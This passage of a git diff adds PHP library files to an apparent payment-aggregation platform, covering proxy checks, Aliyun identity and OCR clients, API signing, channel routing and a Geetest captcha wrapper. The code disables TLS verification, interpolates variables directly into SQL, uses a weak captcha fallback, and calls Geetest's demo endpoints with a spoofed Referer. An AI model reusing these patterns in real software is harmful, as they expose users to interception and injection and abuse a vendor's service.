'wxpay'; + }elseif(in_array($prefix, $qqpay_prefix)){ + return 'qqpay'; + }elseif(in_array($prefix, $bank_prefix)){ + return 'bank'; + }else{ + return 'unknown'; + } +} +function check_proxy($url) +{ + global $conf; + $ch=curl_init($url); + $proxy_server = $conf['proxy_server']; + $proxy_port = intval($conf['proxy_port']); + if($conf['proxy_type'] == 'https'){ + $proxy_type = CURLPROXY_HTTPS; + }elseif($conf['proxy_type'] == 'sock4'){ + $proxy_type = CURLPROXY_SOCKS4; + }elseif($conf['proxy_type'] == 'sock5'){ + $proxy_type = CURLPROXY_SOCKS5; + }else{ + $proxy_type = CURLPROXY_HTTP; + } + curl_setopt($ch, CURLOPT_PROXYAUTH, CURLAUTH_BASIC); + curl_setopt($ch, CURLOPT_PROXY, $proxy_server); + curl_setopt($ch, CURLOPT_PROXYPORT, $proxy_port); + if(!empty($conf['proxy_user']) && !empty($conf['proxy_pwd'])){ + $proxy_userpwd = $conf['proxy_user'].':'.$conf['proxy_pwd']; + curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_userpwd); + } + curl_setopt($ch, CURLOPT_PROXYTYPE, $proxy_type); + $httpheader[] = "Accept: */*"; + $httpheader[] = "Accept-Language: zh-CN,zh;q=0.8"; + $httpheader[] = "Connection: close"; + curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36'); + curl_setopt($ch, CURLOPT_TIMEOUT, 3); + curl_exec($ch); + $errno = curl_errno($ch); + if($errno){ + $errmsg = curl_error($ch); + curl_close($ch); + throw new Exception($errmsg); + } + $httpCode = curl_getinfo($ch,CURLINFO_HTTP_CODE); + curl_close($ch); + if($httpCode >= 200 && $httpCode < 400){ + return true; + }else{ + throw new Exception('HTTP状态码异常:'.$httpCode); + } +} \ No newline at end of file diff --git a/includes/lib/AliyunCertify.php b/includes/lib/AliyunCertify.php new file mode 100644 index 0000000..442649b --- /dev/null +++ b/includes/lib/AliyunCertify.php @@ -0,0 +1,116 @@ +AccessKeyId = $AccessKeyId; + $this->AccessKeySecret = $AccessKeySecret; + $this->SceneId = $SceneId; + } + + //身份认证初始化服务 + public function initialize($outer_order_no, $cert_name, $cert_no, $return_url) { + $params = [ + 'method' => 'init', + 'sceneId' => $this->SceneId, + 'outerOrderNo' => $outer_order_no, + 'bizCode' => 'FACE_SDK', + 'identityType' => 'CERT_INFO', + 'certType' => 'IDENTITY_CARD', + 'certNo' => $cert_no, + 'certName' => $cert_name, + 'returnUrl' => $return_url + ]; + $ServiceParameters = json_encode($params); + return $this->ExecuteRequest($ServiceParameters); + } + + //身份认证记录查询 + public function query($certify_id) { + $params = [ + 'method' => 'query', + 'certifyId' => $certify_id, + 'sceneId' => $this->SceneId + ]; + $ServiceParameters = json_encode($params); + return $this->ExecuteRequest($ServiceParameters); + } + + //执行请求 + private function ExecuteRequest($ServiceParameters){ + $param = ['Action' => 'ExecuteRequest', 'Service' => 'fin_face_verify', 'ServiceParameters' => $ServiceParameters]; + return $this->request($param, true); + } + + //签名方法 + private function aliyunSignature($parameters, $accessKeySecret, $method) + { + ksort($parameters); + $canonicalizedQueryString = ''; + foreach ($parameters as $key => $value) { + if($value === null) continue; + $canonicalizedQueryString .= '&' . $this->percentEncode($key) . '=' . $this->percentEncode($value); + } + $stringToSign = $method . '&%2F&' . $this->percentencode(substr($canonicalizedQueryString, 1)); + $signature = base64_encode(hash_hmac("sha1", $stringToSign, $accessKeySecret . "&", true)); + + return $signature; + } + private function percentEncode($str) + { + $search = ['+', '*', '%7E']; + $replace = ['%20', '%2A', '~']; + return str_replace($search, $replace, urlencode($str)); + } + //请求方法(当需要返回列表等数据时,returnData=true) + private function request($param, $returnData=false){ + if(empty($this->AccessKeyId)||empty($this->AccessKeySecret))return false; + $url='https://'.$this->Endpoint.'/'; + $data=array( + 'Format' => 'JSON', + 'Version' => $this->Version, + 'AccessKeyId' => $this->AccessKeyId, + 'SignatureMethod' => 'HMAC-SHA1', + 'Timestamp' => gmdate('Y-m-d\TH:i:s\Z'), + 'SignatureVersion' => '1.0', + 'SignatureNonce' => $this->random(8)); + $data=array_merge($data, $param); + $data['Signature'] = $this->aliyunSignature($data, $this->AccessKeySecret, 'POST'); + $ch=curl_init($url); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_TIMEOUT, 30); + curl_setopt($ch, CURLOPT_POST, 1); + curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); + $json=curl_exec($ch); + $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); + curl_close($ch); + $arr=json_decode($json,true); + if($returnData==true){ + return $arr; + }else{ + if($httpCode==200){ + return true; + }else{ + return $arr['Message']; + } + } + } + private function random($length, $numeric = 0) { + $seed = base_convert(md5(microtime().$_SERVER['DOCUMENT_ROOT']), 16, $numeric ? 10 : 35); + $seed = $numeric ? (str_replace('0', '', $seed).'012340567890') : ($seed.'zZ'.strtoupper($seed)); + $hash = ''; + $max = strlen($seed) - 1; + for($i = 0; $i < $length; $i++) { + $hash .= $seed[mt_rand(0, $max)]; + } + return $hash; + } +} diff --git a/includes/lib/AliyunRecognize.php b/includes/lib/AliyunRecognize.php new file mode 100644 index 0000000..2778584 --- /dev/null +++ b/includes/lib/AliyunRecognize.php @@ -0,0 +1,127 @@ +AccessKeyId = $AccessKeyId; + $this->AccessKeySecret = $AccessKeySecret; + } + + //身份证识别 + public function RecognizeIdcard($file_path){ + $arr = $this->request(__FUNCTION__, file_get_contents($file_path), true); + return json_decode($arr['Data'],true); + } + + //护照识别 + public function RecognizePassport($file_path){ + $arr = $this->request(__FUNCTION__, file_get_contents($file_path), true); + return json_decode($arr['Data'],true); + } + + //银行卡识别 + public function RecognizeBankCard($file_path){ + $arr = $this->request(__FUNCTION__, file_get_contents($file_path), true); + return json_decode($arr['Data'],true); + } + + //营业执照识别 + public function RecognizeBusinessLicense($file_path){ + $arr = $this->request(__FUNCTION__, file_get_contents($file_path), true); + return json_decode($arr['Data'],true); + } + + //银行开户许可证识别 + public function RecognizeBankAccountLicense($file_path){ + $arr = $this->request(__FUNCTION__, file_get_contents($file_path), true); + return json_decode($arr['Data'],true); + } + + //签名方法 + private function aliyunSignature($parameters, $accessKeySecret, $method) + { + ksort($parameters); + $canonicalizedQueryString = ''; + foreach ($parameters as $key => $value) { + if($value === null || $value instanceof \CURLFile) continue; + $canonicalizedQueryString .= '&' . $this->percentEncode($key) . '=' . $this->percentEncode($value); + } + $stringToSign = $method . '&%2F&' . $this->percentencode(substr($canonicalizedQueryString, 1)); + $signature = base64_encode(hash_hmac("sha1", $stringToSign, $accessKeySecret . "&", true)); + + return $signature; + } + private function percentEncode($str) + { + $search = ['+', '*', '%7E']; + $replace = ['%20', '%2A', '~']; + return str_replace($search, $replace, urlencode($str)); + } + //请求方法(当需要返回列表等数据时,returnData=true) + private function request($action, $file = null, $returnData=false){ + if(empty($this->AccessKeyId)||empty($this->AccessKeySecret))return false; + $url='https://'.$this->Endpoint.'/'; + $data=array( + 'Action' => $action, + 'Format' => 'JSON', + 'Version' => $this->Version, + 'AccessKeyId' => $this->AccessKeyId, + 'SignatureMethod' => 'HMAC-SHA1', + 'Timestamp' => gmdate('Y-m-d\TH:i:s\Z'), + 'SignatureVersion' => '1.0', + 'SignatureNonce' => $this->random(8)); + $data['Signature'] = $this->aliyunSignature($data, $this->AccessKeySecret, 'POST'); + $url.='?'.http_build_query($data); + $ch=curl_init($url); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_TIMEOUT, 30); + if($file !== null){ + curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/octet-stream']); + curl_setopt($ch, CURLOPT_POST, 1); + curl_setopt($ch, CURLOPT_POSTFIELDS, $file); + } + $json=curl_exec($ch); + $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); + curl_close($ch); + if($httpCode>=200 && $httpCode<300){ + if($returnData==true){ + $arr = json_decode($json,true); + if(!$arr) throw new Exception('无法解析返回数据'); + return $arr; + }else{ + return true; + } + }else{ + $arr=json_decode($json,true); + if(isset($arr['Code']) && isset($arr['Message'])){ + if(strpos($arr['Message'],' server string to sign is:')!==false){ + $arr['Message'] = substr($arr['Message'],0,strpos($arr['Message'],' server string to sign is:')-1); + } + throw new Exception('['.$arr['Code'].'] '.$arr['Message']); + }else{ + throw new Exception('无法解析返回数据'); + } + } + } + private function random($length, $numeric = 0) { + $seed = base_convert(md5(microtime().$_SERVER['DOCUMENT_ROOT']), 16, $numeric ? 10 : 35); + $seed = $numeric ? (str_replace('0', '', $seed).'012340567890') : ($seed.'zZ'.strtoupper($seed)); + $hash = ''; + $max = strlen($seed) - 1; + for($i = 0; $i < $length; $i++) { + $hash .= $seed[mt_rand(0, $max)]; + } + return $hash; + } + +} \ No newline at end of file diff --git a/includes/lib/ApiHelper.php b/includes/lib/ApiHelper.php new file mode 100644 index 0000000..3f99ede --- /dev/null +++ b/includes/lib/ApiHelper.php @@ -0,0 +1,77 @@ +getCode(); + echojsonmsg($e->getMessage(), $code != 0 ? $code : -1); + } + }else{ + echojsonmsg('接口方法不存在', -5); + } + }else{ + echojsonmsg('URL Error!', -5); + } + } + + private static function verify(){ + global $DB, $conf, $userrow, $queryArr; + + if(isset($_POST['pid'])){ + $queryArr=$_POST; + }else{ + throw new Exception('未传入任何参数', -4); + } + + $pid=intval($queryArr['pid']); + if(empty($pid))throw new Exception('商户ID不能为空'); + $userrow=$DB->getRow("SELECT `uid`,`gid`,`key`,`money`,`channelinfo`,`keytype`,`publickey`,`status`,`pay`,`settle`,`refund`,`transfer` FROM `pre_user` WHERE `uid`='{$pid}' LIMIT 1"); + if(!$userrow)throw new Exception('商户不存在!'); + if($userrow['status']==0)throw new Exception('商户已被封禁'); + + try{ + self::api_verify($userrow, $queryArr); + }catch(Exception $e){ + throw new Exception($e->getMessage(), -3); + } + } + + //API签名校验 + static public function api_verify($userrow, $queryArr, $forceRsa = false){ + if($forceRsa && $queryArr['sign_type'] != 'RSA')throw new Exception('该接口只能使用RSA签名类型'); + if($userrow['keytype'] == 1 && $queryArr['sign_type'] != 'RSA')throw new Exception('该商户只能使用RSA签名类型'); + if(defined('API_INIT') || $forceRsa){ + if(empty($queryArr['timestamp']))throw new Exception('时间戳(timestamp)字段不能为空'); + if(abs(time() - $queryArr['timestamp']) > 300)throw new Exception('时间戳字段不正确,请检查服务器时间'); + } + $sign_type = $queryArr['sign_type'] ? $queryArr['sign_type'] : 'MD5'; + if(!\lib\Payment::verifySign($queryArr, $userrow['key'], $userrow['publickey']))throw new Exception($sign_type.'签名校验失败'); + } +} \ No newline at end of file diff --git a/includes/lib/Cache.php b/includes/lib/Cache.php new file mode 100644 index 0000000..e610fcf --- /dev/null +++ b/includes/lib/Cache.php @@ -0,0 +1,52 @@ +getColumn("SELECT v FROM pre_cache WHERE k=:key LIMIT 1", [':key'=>$key]); + return $value; + } + public function save($key ,$value, $expire=0) { + if (is_array($value)) $value = serialize($value); + global $DB; + if($expire) $expire = time() + $expire; + return $DB->exec("REPLACE INTO pre_cache VALUES (:key, :value, :expire)", [':key'=>$key, ':value'=>$value, ':expire'=>$expire]); + } + public function pre_fetch(){ + global $_CACHE; + $_CACHE=array(); + $cache = $this->read('config'); + $_CACHE = @unserialize($cache); + if(empty($_CACHE['version']))$_CACHE = $this->update(); + return $_CACHE; + } + public function update() { + global $DB; + $cache = array(); + $result = $DB->getAll("SELECT * FROM pre_config"); + foreach($result as $row){ + $cache[ $row['k'] ] = $row['v']; + } + $this->save('config', $cache); + return $cache; + } + public function clear($key = 'config') { + global $DB; + return $DB->exec("UPDATE pre_cache SET v='' WHERE k=:key", [':key'=>$key]); + } + public function delete($key) { + global $DB; + return $DB->exec("DELETE FROM pre_cache WHERE k=:key", [':key'=>$key]); + } + public function clean() { + global $DB; + $DB->exec("DELETE FROM pre_cache WHERE expire>0 AND expire<'".time()."'"); + //$DB->exec("OPTIMIZE TABLE pre_cache"); + return true; + } +} diff --git a/includes/lib/Channel.php b/includes/lib/Channel.php new file mode 100644 index 0000000..5f6d430 --- /dev/null +++ b/includes/lib/Channel.php @@ -0,0 +1,341 @@ +getRow("SELECT * FROM pre_channel WHERE id='$id' LIMIT 1"); + if(!$value) return null; + $channel = ['id'=>$value['id'], 'name'=>$value['name'], 'mode'=>$value['mode'], 'type'=>$value['type'], 'plugin'=>$value['plugin'], 'apptype'=>$value['apptype'], 'appwxmp'=>$value['appwxmp'], 'appwxa'=>$value['appwxa'], 'costrate'=>$value['costrate'], 'daytop'=>$value['daytop']]; + + $config = json_decode($value['config'], true); + if(!empty($channelinfo) && !empty($config)){ + $arr = json_decode($channelinfo, true); + foreach($config as $configkey => $configrow){ + if($configrow && substr($configrow, 0, 1) == '['){ + $key = substr($configrow,1,-1); + $config[$configkey] = $arr[$key]; + } + } + } + + if(!empty($config)){ + $channel = array_merge($channel, $config); + } + return $channel; + } + + static public function getSub($id){ + global $DB; + $value=$DB->getRow("SELECT A.*,B.info,B.id subid FROM pre_subchannel B INNER JOIN pre_channel A ON B.channel=A.id WHERE B.id='$id'"); + if(!$value) return null; + $channel = ['id'=>$value['id'], 'subid'=>$value['subid'], 'name'=>$value['name'], 'mode'=>$value['mode'], 'type'=>$value['type'], 'plugin'=>$value['plugin'], 'apptype'=>$value['apptype'], 'appwxmp'=>$value['appwxmp'], 'appwxa'=>$value['appwxa'], 'costrate'=>$value['costrate'], 'daytop'=>$value['daytop']]; + + $config = json_decode($value['config'], true); + if(!empty($value['info']) && !empty($config)){ + $arr = json_decode($value['info'], true); + foreach($config as $configkey => $configrow){ + if($configrow && substr($configrow, 0, 1) == '['){ + $key = substr($configrow,1,-1); + $config[$configkey] = $arr[$key]; + } + } + if(isset($arr['apptype']) && !empty($arr['apptype'])){ + $channel['apptype'] = $arr['apptype']; + } + if(isset($arr['appwxmp']) && $arr['appwxmp']>0){ + $channel['appwxmp'] = $arr['appwxmp']; + $channel['subappwxmp'] = 1; + } + if(isset($arr['appwxa']) && $arr['appwxa']>0){ + $channel['appwxa'] = $arr['appwxa']; + $channel['subappwxa'] = 1; + } + } + if(!empty($config)){ + $channel = array_merge($channel, $config); + } + return $channel; + } + + static public function getGroup($gid){ + global $DB; + $group=$DB->getRow("SELECT * FROM pre_group WHERE gid='{$gid}' LIMIT 1"); + if(!$group)$group=$DB->getRow("SELECT * FROM pre_group WHERE gid=0 LIMIT 1"); + $info = json_decode($group['info'],true); + + $rows = $DB->getAll("SELECT * FROM pre_type WHERE status=1 ORDER BY id ASC"); + $paytype = []; + foreach($rows as $row){ + $paytype[$row['id']] = $row['name']; + } + + $subchannel_type = []; + foreach($info as $id=>$row){ + if(!isset($paytype[$id]))continue; + if($row['channel'] == -2){ + $subchannel_type[] = $paytype[$id]; + } + } + $group['subchannel_type'] = $subchannel_type; + return $group; + } + + static public function info($id, $gid = 0){ + global $DB; + $value=$DB->getRow("SELECT id,plugin,type,rate,apptype,mode,paymin,paymax FROM pre_channel WHERE id='$id' LIMIT 1"); + $money_rate = $value['rate']; + if($gid>0)$groupinfo=$DB->getColumn("SELECT info FROM pre_group WHERE gid='$gid' LIMIT 1"); + if(!$groupinfo)$groupinfo=$DB->getColumn("SELECT info FROM pre_group WHERE gid=0 LIMIT 1"); + if($groupinfo){ + $info = json_decode($groupinfo,true); + $groupinfo = $info[$value['type']]; + if(is_array($groupinfo) && !empty($groupinfo['rate'])){ + $money_rate = $groupinfo['rate']; + } + } + return ['typeid'=>$value['type'], 'plugin'=>$value['plugin'], 'channel'=>$value['id'], 'rate'=>$money_rate, 'apptype'=>$value['apptype'], 'mode'=>$value['mode'], 'paymin'=>$value['paymin'], 'paymax'=>$value['paymax']]; + } + + static public function getWeixin($id){ + global $DB; + $value=$DB->getRow("SELECT * FROM pre_weixin WHERE id='$id' LIMIT 1"); + return $value; + } + + // 支付提交处理(输入支付方式名称) + static public function submit($type, $uid=0, $gid=0, $money=0, $device=null){ + global $DB; + if($device == 'mobile' || $device == 'qq' || $device == 'wechat' || $device == 'alipay' || checkmobile()==true){ + $sqls = " AND (device=0 OR device=2)"; + }else{ + $sqls = " AND (device=0 OR device=1)"; + } + $paytype=$DB->getRow("SELECT id,name,status FROM pre_type WHERE name=:type{$sqls} LIMIT 1", [':type'=>$type]); + if(!$paytype || $paytype['status']==0)sysmsg('支付方式(type)不存在'); + $typeid = $paytype['id']; + $typename = $paytype['name']; + + return self::getSubmitInfo($typeid, $typename, $uid, $gid, $money); + } + + // 支付提交处理2(输入支付方式ID) + static public function submit2($typeid, $uid=0, $gid=0, $money=0){ + global $DB; + $paytype=$DB->getRow("SELECT id,name,status FROM pre_type WHERE id='$typeid' LIMIT 1"); + if(!$paytype || $paytype['status']==0)sysmsg('支付方式(type)不存在'); + $typename = $paytype['name']; + + return self::getSubmitInfo($typeid, $typename, $uid, $gid, $money); + } + + //获取通道、插件、费率信息 + static public function getSubmitInfo($typeid, $typename, $uid, $gid, $money){ + global $DB; + if($gid>0)$groupinfo=$DB->getColumn("SELECT info FROM pre_group WHERE gid='$gid' LIMIT 1"); + if(!$groupinfo)$groupinfo=$DB->getColumn("SELECT info FROM pre_group WHERE gid=0 LIMIT 1"); + if($groupinfo){ + $info = json_decode($groupinfo,true); + $groupinfo = $info[$typeid]; + if(is_array($groupinfo)){ + $channel = $groupinfo['channel']; + $money_rate = $groupinfo['rate']; + } + else{ + $channel = -1; + $money_rate = null; + } + if($channel==0){ //当前商户关闭该通道 + return false; + } + elseif($channel==-1){ //随机可用通道 + $rows=$DB->getAll("SELECT id,plugin,status,rate,apptype,mode,paymin,paymax FROM pre_channel WHERE type='$typeid' AND status=1 AND daystatus=0"); + if(count($rows)>0){ + $newrows = []; + foreach($rows as $row){ + if($money>0 && !empty($row['paymin']) && $row['paymin']>0 && $money<$row['paymin'])continue; + if($money>0 && !empty($row['paymax']) && $row['paymax']>0 && $money>$row['paymax'])continue; + $newrows[] = $row; + } + if(count($newrows)>0){ + $row = $newrows[array_rand($newrows)]; + }else{ + $row = $rows[array_rand($rows)]; + } + if(empty($money_rate))$money_rate = $row['rate']; + return ['typeid'=>$typeid, 'typename'=>$typename, 'plugin'=>$row['plugin'], 'channel'=>$row['id'], 'subchannel'=>0, 'rate'=>$money_rate, 'apptype'=>$row['apptype'], 'mode'=>$row['mode'], 'paymin'=>$row['paymin'], 'paymax'=>$row['paymax']]; + } + } + elseif($channel==-2){ //用户自定义子通道 + $rows=$DB->getAll("SELECT A.id,plugin,A.status,rate,apptype,mode,paymin,paymax,B.id subid FROM pre_subchannel B INNER JOIN pre_channel A ON B.channel=A.id WHERE B.uid='$uid' AND A.type='$typeid' AND A.status=1 AND B.status=1 AND daystatus=0 ORDER BY B.usetime ASC"); + if(count($rows)>0){ + $newrows = []; + foreach($rows as $row){ + if($money>0 && !empty($row['paymin']) && $row['paymin']>0 && $money<$row['paymin'])continue; + if($money>0 && !empty($row['paymax']) && $row['paymax']>0 && $money>$row['paymax'])continue; + $newrows[] = $row; + } + if(count($newrows)>0){ + $row = $newrows[0]; + }else{ + $row = $rows[0]; + } + if(empty($money_rate))$money_rate = $row['rate']; + $DB->exec("UPDATE pre_subchannel SET usetime=NOW() WHERE id='{$row['subid']}'"); + return ['typeid'=>$typeid, 'typename'=>$typename, 'plugin'=>$row['plugin'], 'channel'=>$row['id'], 'subchannel'=>$row['subid'], 'rate'=>$money_rate, 'apptype'=>$row['apptype'], 'mode'=>$row['mode'], 'paymin'=>$row['paymin'], 'paymax'=>$row['paymax']]; + } + } + else{ + if($groupinfo['type']=='roll'){ //解析轮询组 + $channel = self::getChannelFromRoll($channel, $money); + if(!$channel || $channel==0){ //当前轮询组未开启 + return false; + } + } + //获取轮询组对应通道 + $row=$DB->getRow("SELECT plugin,status,rate,apptype,mode,paymin,paymax FROM pre_channel WHERE id='$channel' LIMIT 1"); + if($row['status']==1 && $row['daystatus']==0){ + if(empty($money_rate))$money_rate = $row['rate']; + return ['typeid'=>$typeid, 'typename'=>$typename, 'plugin'=>$row['plugin'], 'channel'=>$channel, 'subchannel'=>0, 'rate'=>$money_rate, 'apptype'=>$row['apptype'], 'mode'=>$row['mode'], 'paymin'=>$row['paymin'], 'paymax'=>$row['paymax']]; + } + } + }else{ + //未设置用户组 + $row=$DB->getRow("SELECT id,plugin,status,rate,apptype,mode,paymin,paymax FROM pre_channel WHERE type='$typeid' AND status=1 AND daystatus=0 ORDER BY rand() LIMIT 1"); + if($row){ + return ['typeid'=>$typeid, 'typename'=>$typename, 'plugin'=>$row['plugin'], 'channel'=>$row['id'], 'subchannel'=>0, 'rate'=>$row['rate'], 'apptype'=>$row['apptype'], 'mode'=>$row['mode'], 'paymin'=>$row['paymin'], 'paymax'=>$row['paymax']]; + } + } + return false; + } + + // 获取当前商户可用支付方式 + static public function getTypes($uid, $gid=0){ + global $DB; + if(checkmobile()==true){ + $sqls = " AND (device=0 OR device=2)"; + }else{ + $sqls = " AND (device=0 OR device=1)"; + } + $rows = $DB->getAll("SELECT * FROM pre_type WHERE status=1{$sqls} ORDER BY id ASC"); + $paytype = []; + foreach($rows as $row){ + $paytype[$row['id']] = $row; + } + if($gid>0)$groupinfo=$DB->getColumn("SELECT info FROM pre_group WHERE gid='$gid' LIMIT 1"); + if(!$groupinfo)$groupinfo=$DB->getColumn("SELECT info FROM pre_group WHERE gid=0 LIMIT 1"); + if($groupinfo){ + $info = json_decode($groupinfo,true); + foreach($info as $id=>$row){ + if(!isset($paytype[$id]))continue; + if($row['channel']==0){ + unset($paytype[$id]); + }elseif($row['channel']==-1){ + $channel=$DB->getRow("SELECT rate,status FROM pre_channel WHERE type='$id' AND status=1 LIMIT 1"); + if(!$channel){ + unset($paytype[$id]); + }elseif(empty($row['rate'])){ + $paytype[$id]['rate']=$channel['rate']; + }else{ + $paytype[$id]['rate']=$row['rate']; + } + }elseif($row['channel']==-2){ + $channel=$DB->getRow("SELECT A.id,A.status,rate FROM pre_subchannel B INNER JOIN pre_channel A ON B.channel=A.id WHERE B.uid='$uid' AND A.type='$id' AND A.status=1 AND B.status=1 LIMIT 1"); + if(!$channel){ + unset($paytype[$id]); + }elseif(empty($row['rate'])){ + $paytype[$id]['rate']=$channel['rate']; + }else{ + $paytype[$id]['rate']=$row['rate']; + } + }else{ + if($row['type']=='roll'){ + $status=$DB->getColumn("SELECT status FROM pre_roll WHERE id='{$row['channel']}' LIMIT 1"); + }else{ + $status=$DB->getColumn("SELECT status FROM pre_channel WHERE id='{$row['channel']}' LIMIT 1"); + } + if(!$status || $status==0)unset($paytype[$id]); + else $paytype[$id]['rate']=$row['rate']; + } + } + }else{ + foreach($paytype as $id=>$row){ + $status=$DB->getColumn("SELECT status FROM pre_channel WHERE type='$id' AND status=1 limit 1"); + if(!$status || $status==0)unset($paytype[$id]); + else{ + $paytype[$id]['rate']=$DB->getColumn("SELECT rate FROM pre_channel WHERE type='$id' AND status=1 limit 1"); + } + } + } + return $paytype; + } + + //根据轮询组ID获取支付通道ID + static private function getChannelFromRoll($channel, $money){ + global $DB; + $row=$DB->getRow("SELECT * FROM pre_roll WHERE id='$channel' LIMIT 1"); + if($row['status']==1){ + $info = self::rollinfo_decode($row['info'],true); + + //先根据支付金额与限额过滤可用支付通道 + $channelids = []; + foreach($info as $inforow){ + $channelids[] = $inforow['name']; + } + $channelids = implode(',',$channelids); + $rows=$DB->getAll("SELECT id,paymin,paymax FROM pre_channel WHERE id IN ($channelids) AND status=1 AND daystatus=0"); + $newids = []; + foreach($rows as $channelrow){ + if($money>0 && !empty($channelrow['paymin']) && $channelrow['paymin']>0 && $money<$channelrow['paymin'])continue; + if($money>0 && !empty($channelrow['paymax']) && $channelrow['paymax']>0 && $money>$channelrow['paymax'])continue; + $newids[] = $channelrow['id']; + } + if(count($newids)==0)return false; + + $newinfo = []; + foreach($info as $inforow){ + if(in_array($inforow['name'], $newids))$newinfo[]=$inforow; + } + + if($row['kind']==2){ + return $newids[0]; + }elseif($row['kind']==1){ + $channel = self::random_weight($newinfo); + }else{ + $channel = $newinfo[$row['index']]['name']; + $index = ($row['index'] + 1) % count($newinfo); + $DB->exec("UPDATE pre_roll SET `index`='$index' WHERE id='{$row['id']}'"); + } + return $channel; + } + return false; + } + + //解析轮询组info + static private function rollinfo_decode($content){ + $result = []; + $arr = explode(',',$content); + foreach($arr as $row){ + $a = explode(':',$row); + $result[] = ['name'=>$a[0], 'weight'=>$a[1]]; + } + return $result; + } + + //加权随机 + static private function random_weight($arr){ + $weightSum = 0; + foreach ($arr as $value) { + $weightSum += intval($value['weight']); + } + if($weightSum<=0)return false; + $randNum = mt_rand(1, $weightSum); + foreach ($arr as $v) { + if ($randNum <= $v['weight']) { + return $v['name']; + } + $randNum -=$v['weight']; + } + } +} diff --git a/includes/lib/GeetestLib.php b/includes/lib/GeetestLib.php new file mode 100644 index 0000000..ce047b8 --- /dev/null +++ b/includes/lib/GeetestLib.php @@ -0,0 +1,194 @@ +geetest_id = $geetest_id; + $this->geetest_key = $geetest_key; + } + + //验证初始化 + public function pre_process($params) { + if(!empty($this->geetest_id) && !empty($this->geetest_key)){ + return $this->pre_process_api($params); + }else{ + return $this->pre_process_demo($params); + } + } + + private function pre_process_api($params) { + $public_params = [ + 'digestmod' => 'md5', + 'gt' => $this->geetest_id, + 'sdk' => self::SDK_VERSION, + 'json_format' => self::JSON_FORMAT + ]; + $params = array_merge($params, $public_params); + $url = 'http://api.geetest.com/register.php?' . http_build_query($params); + $res = get_curl($url); + $arr = json_decode($res, true); + if($arr && isset($arr['challenge'])){ + return $this->success_process($arr['challenge']); + }else{ + return $this->failback_process(); + } + } + + private function success_process($challenge) { + $challenge = md5($challenge . $this->geetest_key); + $result = array( + 'success' => 1, + 'gt' => $this->geetest_id, + 'challenge' => $challenge, + 'new_captcha'=>true + ); + return $result; + } + + private function failback_process() { + $challenge = md5(uniqid(mt_rand(), true) . microtime()); + $result = array( + 'success' => 0, + 'gt' => !empty($this->geetest_id) ? $this->geetest_id : 'e10adc3949ba59abbe56e057f20f883e', + 'challenge' => $challenge, + 'new_captcha'=>true + ); + return $result; + } + + private function pre_process_demo($params) { + $url = 'https://www.geetest.com/demo/gt/register-fullpage?t=' . time() . "123"; + $referer = 'https://www.geetest.com/demo/slide-popup.html'; + $data = get_curl($url, 0, $referer); + $arr = json_decode($data, true); + if($arr && isset($arr['challenge'])){ + return $arr; + }else{ + return $this->failback_process(); + } + } + + //正常流程下(即验证初始化成功),二次验证 + public function success_validate($challenge, $validate, $seccode, $params) { + if(!empty($this->geetest_id) && !empty($this->geetest_key)){ + return $this->success_validate_api($challenge, $validate, $seccode, $params); + }else{ + return $this->success_validate_demo($challenge, $validate, $seccode); + } + } + + private function success_validate_api($challenge, $validate, $seccode, $params) { + if (!$this->check_validate($challenge, $validate)) { + return false; + } + $public_params = [ + 'seccode' => $seccode, + 'challenge' => $challenge, + 'captchaid' => $this->geetest_id, + 'sdk' => self::SDK_VERSION, + 'json_format' => self::JSON_FORMAT + ]; + $params = array_merge($params, $public_params); + $url = 'http://api.geetest.com/validate.php'; + $res = get_curl($url, http_build_query($params)); + $arr = json_decode($res, true); + if($arr && isset($arr['seccode'])){ + if($arr['seccode'] == md5($seccode)){ + return true; + } + } + return false; + } + + private function check_validate($challenge, $validate) { + if (strlen($validate) != 32) { + return false; + } + if (md5($this->geetest_key . 'geetest' . $challenge) != $validate) { + return false; + } + return true; + } + + private function success_validate_demo($challenge, $validate, $seccode) { + $params = [ + 'geetest_challenge' => $challenge, + 'geetest_validate' => $validate, + 'geetest_seccode' => $seccode + ]; + $url = 'https://www.geetest.com/demo/gt/validate-fullpage'; + $referer = 'https://www.geetest.com/demo/slide-popup.html'; + $data = get_curl($url, http_build_query($params), $referer); + $arr = json_decode($data, true); + if($arr && $arr['status'] == 'success'){ + return true; + } + return false; + } + + //异常流程下(即验证初始化失败,宕机模式),二次验证 + public function fail_validate($challenge, $validate, $seccode) { + if(md5($challenge) == $validate){ + return true; + }else{ + return false; + } + } + + public function gt4_validate($captcha_id, $lot_number, $pass_token, $gen_time, $captcha_output) { + if(!empty($this->geetest_id) && !empty($this->geetest_key)){ + return $this->gt4_validate_api($captcha_id, $lot_number, $pass_token, $gen_time, $captcha_output); + }else{ + return $this->gt4_validate_demo($captcha_id, $lot_number, $pass_token, $gen_time, $captcha_output); + } + } + + private function gt4_validate_api($captcha_id, $lot_number, $pass_token, $gen_time, $captcha_output){ + $url = 'http://gcaptcha4.geetest.com/validate?captcha_id='.$captcha_id; + $param = [ + 'lot_number' => $lot_number, + 'pass_token' => $pass_token, + 'gen_time' => $gen_time, + 'captcha_output' => $captcha_output + ]; + $param['sign_token'] = hash_hmac('sha256', $param['lot_number'], $this->geetest_key); + $data = get_curl($url, http_build_query($param)); + $arr = json_decode($data, true); + if(isset($arr['status']) && $arr['status']=='success'){ + if(isset($arr['result']) && $arr['result'] == 'success'){ + return true; + } + } + return false; + } + + private function gt4_validate_demo($captcha_id, $lot_number, $pass_token, $gen_time, $captcha_output){ + 